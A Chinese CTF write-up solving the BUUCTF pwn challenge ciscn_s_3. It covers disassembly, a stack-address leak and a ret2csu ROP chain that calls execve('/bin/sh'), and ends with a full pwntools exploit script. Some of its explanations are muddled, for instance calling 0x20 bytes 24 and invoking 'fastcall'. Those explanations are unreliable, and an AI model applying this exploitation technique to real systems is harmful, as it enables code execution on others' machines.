经过几个月的假期都忘完了,趁着最近有点时间复健一下,顺便弄明白了不少以前还不会的东西。
Check & IDA Pro

源码分析
// Main
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
// Vuln
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL); // 栈溢出漏洞
return sys_write(1u, buf, 0x30uLL); // 打印输入的内容
}
// Gadgets
__int64 gadgets()
{
return 15LL; // 需要看汇编才知道这里面藏了什么好东西
}
// Disassassemble
.text:00000000004004ED ; __unwind {
.text:00000000004004ED 55 push rbp
.text:00000000004004EE 48 89 E5 mov rbp, rsp
.text:00000000004004F1 48 31 C0 xor rax, rax
.text:00000000004004F4 BA 00 04 00 00 mov edx, 400h ; count
.text:00000000004004F9 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE 48 89 C7 mov rdi, rax ; fd
.text:0000000000400501 0F 05 syscall ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00 00 00 mov rax, 1
.text:000000000040050A BA 30 00 00 00 mov edx, 30h ; '0' ; count
.text:000000000040050F 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:0000000000400514 48 89 C7 mov rdi, rax ; fd
.text:0000000000400517 0F 05 syscall ; LINUX - sys_write
.text:0000000000400519 C3 retn // 没有 leave 指令,不会清空栈内的数据 ebp 即为返回地址
// csu_front
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA mov rdx, r13
.text:0000000000400583 4C 89 F6 mov rsi, r14
.text:0000000000400586 44 89 FF mov edi, r15d
.text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 48 83 C3 01 add rbx, 1
.text:0000000000400591 48 39 EB cmp rbx, rbp
.text:0000000000400594 75 EA jnz short loc_400580
// csu_rear
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08 add rsp, 8
.text:000000000040059A 5B pop rbx
.text:000000000040059B 5D pop rbp
.text:000000000040059C 41 5C pop r12
.text:000000000040059E 41 5D pop r13
.text:00000000004005A0 41 5E pop r14
.text:00000000004005A2 41 5F pop r15
.text:00000000004005A4 C3 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4 __libc_csu_init endp
// gadgets
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 55 push rbp
.text:00000000004004D7 48 89 E5 mov rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:00000000004004E1 C3 retn
.text:00000000004004E1
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00 mov rax, 3Bh ; ';'
.text:00000000004004E9 C3 retn
.text:00000000004004E9
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA 90 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D pop rbp
.text:00000000004004EC C3 retn
.text:00000000004004EC ; } // starts at 4004D6
其中gadgets为本题的要点。
0x4004E2: 将寄存器rax设置为0x3b并返回(ret),0x3b是execve的系统调用号。
也就是说 出题人已经帮我们写好了execve,我们只需要利用它即可。
这样我们可以得到的有用信息有:
csu_front = 0x400580
csu_rear = 0x40059A
execve = 0x4004E2
由于出题人已经给我们写好了execve,我们只需要利用他。
因此我们可以通过把'/bin/sh\x00'写入buf内,之后通过execve调用他。
我们需要使用gdb计算偏移,方法如下:
首先gdb调试文件,在main函数下断点

之后我们快速跳到vuln函数,然后输入:AAAA

然后我们输入指令: search AAAA

再输入指令: x /8gx 0x7fffffffdf70

圈出来的就是我们要进行计算的数据之一。
我们使用pwngdb带的指令: distance 0x7fffffffdf70 0x00007fffffffe098

偏移为 0x128
也可以使用Python进行计算

这里使用r12进行第一参数的传参,是因为本题比较特殊。
本题使用了 fastcall 调用约定。


fastcall,是优化函数调用过程中参数的传递,使函数调用更加高效。
在部分编译器中,如果函数使用了fastcall约定,那么前几个参数就会存储在寄存器中,而不是像普通函数一样在堆栈中传递参数。
fastcall除了调用方式不同以外,汇编代码完全相同。
构造EXP
Payload_Leak
先进行栈地址溢出,并计算偏移获取 /bin/sh 位置
我们可以使用Payload:
payload_leak = ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr)
这个Payload的意思是:
首先将 /bin/sh 字符串送入栈中
然后填充 8 个垃圾数据,并且覆盖返回地址,控制程序返回到vuln函数
这下我们发送了24个字节的数据,而buf只有16个字节那么大。
但是write从buf中读取了0x30,也就是48个字节的数据。
buf只有16个字节那么大,意思就是16个字节之后肯定是栈上的一些地址。
我们选择接收0x20大小的数据,也就是24个字节。因为buf的大小为0x10,write的大小为0x30,其中0x20的字节是没用的。
recv = io.recv(0x20)
然后我们接收后面的8个字节的数据,也就是我们的栈基址。
stack_addr = u64(io.recv(8))
/bin/sh 字符串地址和libc一样,通过溢出的栈基址减去偏移,即为字符串地址。也就是
binsh_addr = stack_addr - 0x128
至此泄露方面的Payload已构造完成,接下来我们使用Ret2Csu构造Payload的第二部分。
Payload_Shell


本题没有使用动态链接,因此我们无法使用任何已知的除了Ret2Csu的攻击方式。
我们首先关注几个重点,而上文已经提到了重点是什么:

通过百度可得,0FH和3BH是系统调用号,分别是:
stub_rt_sigreturn
stub_execve
用到 mov rax , 0FH 的解法暂时还不了解。因此我们选择 3BH
execve也是getshell的一种办法,通过构造 execve("/bin/sh",0,0) 我们也可以getshell。
那么接下来就是寻找gadget并构造的步骤。
我们利用系统调用,系统调用的编号存储在寄存器 rax 中,参数存储在寄存器 rdi,rsi,rdx 中
系统调用已有现成的gadget,0x3B即为execve的系统调用号。
然后依此赋值rdi,rsi,rdx寄存器

所以我们需要将r13、r14、r15d赋值为 0 , 0 , /bin/sh
作为execve的第一个参数,rdi需要存放 /bin/sh 字符串的地址,也就是binsh_addr
将rsi , rdi赋0,将返回地址覆盖为syscall的地址,但是我们在这发现了一个问题:
r15d 是r15d的一个低32位寄存器,同理edi也是。因此放不下 '/bin/sh\x00'
为了方便起见,我们直接从程序中找一段 pop rdi 出来替代csu_front的 mov edi , r15d 实现我们想要的效果。

正好有一个现成的,直接拿来用。
那么就是:
rbx = 0
rbp = 0
r12 = execve
r13 = 0
r14 = 0
r15 = 0
那么r12的 execve 是哪里得到的呢?
execve 为什么是binsh_addr + 0x10
是因为,在x86_64的调用约定中,参数从右往左依次排序
在栈中情况如下:
/bin/sh\x00
NULL
NULL
而本题是一道64位程序的题目,一个地址的大小是 8 个字节。
而 0x10 是 16 个字节,因此得出结论:
execve 是 binsh_addr + 0x10 的原因是因为这样可以顺利读取第一、第二个参数
因此可以得出结论:
execve = binsh_addr + 0x10
那么现在rdi也解决了,我们需要解决如何让程序控制流转移到csu_rear上。
很简单,只需要使用gadget函数即可:

我们只需要使用gadget的retn,即可直接将控制流转移到csu_rear上。
那么我们该在何处使用这个函数呢?
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(execve_ret)
# 跟 ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr) 一样的手段
# 目的是 先将 /bin/sh 送入栈中,之后填充 8 字节的垃圾数据,随后进入execve系统调用函数
# 也就是gadgets函数,将 rax 赋值为 0x3BH
payload += p64(csu_rear)
# 然后通过gadgets函数的retn跳转至csu_rear函数,进行下一步攻击
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
# 进行 rbx rbp r12 r13 r14 r15 寄存器的赋值
payload += p64(csu_front)
# 赋值完后通过csu_rear函数的retn跳转到csu_front函数,进行下一步攻击
payload += b'A' * 0x38
# p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) 每一个都是8位,那么 6 * 8 = 48 = 0x30
# 还剩下一个 0x08 位于 p64(arg) 这就是为什么是 0x38。因为前面填充了padding后,总共占用了 0x38 的长度。
# 而因为 csu_front 的位置位于payload末尾,因此需要填充 0x38 的数据让arg对齐到RDI的位置。
payload += p64(rdi)
# 因为csu_front的 rdi 只有低32位,也就是r15d,edi 因此我们额外找一个pop rdi 的gadget
payload += p64(binsh_addr)
# 将binsh_addr,也就是binsh的地址送入rdi中
payload += p64(syscall)
# 系统调用,执行指令 execve("/bin/sh",0,0) 即可getshell
这就是我们完整Payload的思路。简化一下就是这样:
1.攻击vuln函数溢出buf,通过write函数打印泄露的栈基址
2.通过泄露的栈基址计算出buf地址,从而获取我们想要的偏移
3.再次攻击vuln函数,但是这次跳转到我们构建的csu函数中
4.通过通用gadget __libc_csu_init 等构造ROP获取shell
完整Payload
from pwn import *
io = process("/home/Kaguya/桌面/BUUCTF/ciscn_s_3")
elf = ELF("/home/Kaguya/桌面/BUUCTF/ciscn_s_3")
context.log_level = 'debug'
csu_rear = 0x40059A # 赋值rbx,rbp,r12,r13,r14,r15 以及return
csu_front = 0x400580 # 赋值rdx,rsi,edi 以及return
vuln_addr = elf.sym['vuln'] # 返回到vuln函数,方便下次攻击
rdi = 0x4005A3 # 由于 csu_front 内的edi只是个低32位寄存器,因此我们直接选择使用一个完整的rdi寄存器进行赋值
execve_ret = 0x04004E2 # execve系统调用,也就是 mov rax , 0x3BH 还有一个 return
syscall = 0x0400517 # 系统调用,放在最后进行
payload_leak = ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr)
# 首先将 /bin/sh 字符串送入栈中
# 然后填充 8 个垃圾数据,并且覆盖返回地址,控制程序返回到vuln函数
io.sendline(payload_leak)
log.success('Payload Leak: ' + str(payload_leak))
recv = io.recv(0x20)
# 接收 0x20 大小的数据,write函数一共读取 0x30 个字节出来。
stack_addr = u64(io.recv(8))
# 读取 0x20 后的 8 个字节的数据,即为write函数泄露出来的栈上的地址
binsh_addr = stack_addr - 0x128
# /bin/sh 的地址即为栈上的地址减去算出来的偏移
execve = binsh_addr + 0x10
# execve 为什么是binsh_addr + 0x10
# 是因为,在x86_64的调用约定中,参数从右往左依次排序
# 在栈中情况如下:
# /bin/sh\x00
# NULL
# NULL
# 而本题是一道64位程序的题目,一个地址的大小是 8 个字节。
# 而 0x10 是 16 个字节,因此得出结论:
# execve 是 binsh_addr + 0x10 的原因是因为这样可以顺利读取第一、第二个参数
log.success('Recving Messages: ' + str(recv))
log.success('Stack Address: ' + hex(stack_addr))
log.success('/bin/sh Address: ' + hex(binsh_addr))
def csu( rbx , rbp , r12 , r13 , r14 , r15 ):
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(execve_ret)
# 跟 ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr) 一样的手段
# 目的是 先将 /bin/sh 送入栈中,之后填充 8 字节的垃圾数据,随后进入execve系统调用函数
# 也就是gadgets函数,将 rax 赋值为 0x3BH
payload += p64(csu_rear)
# 然后通过gadgets函数的retn跳转至csu_rear函数,进行下一步攻击
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
# 进行 rbx rbp r12 r13 r14 r15 寄存器的赋值
payload += p64(csu_front)
# 赋值完后通过csu_rear函数的retn跳转到csu_front函数,进行下一步攻击
payload += b'A' * 0x38
# p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) 每一个都是8位,那么 6 * 8 = 48 = 0x30
# 还剩下一个 0x08 位于 p64(arg) 这就是为什么是 0x38。因为前面填充了padding后,总共占用了 0x38 的长度。
# 而因为 csu_front 的位置位于payload末尾,因此需要填充 0x38 的数据让arg对齐到RDI的位置。
payload += p64(rdi)
# 因为csu_front的 rdi 只有低32位,也就是r15d,edi 因此我们额外找一个pop rdi 的gadget
payload += p64(binsh_addr)
# 将binsh_addr,也就是binsh的地址送入rdi中
payload += p64(syscall)
# 系统调用,执行指令 execve("/bin/sh",0,0) 即可getshell
io.send(payload)
sleep(1)
csu( 0 , 1 , execve , 0 , 0 , 0 )
# rbx = 0 , rbp = 1 , r12 = execve , r13 = 0 , r14 = 0 , r15 = 0
# rdx = 0 , rsi = 0 , edi = 0
io.interactive()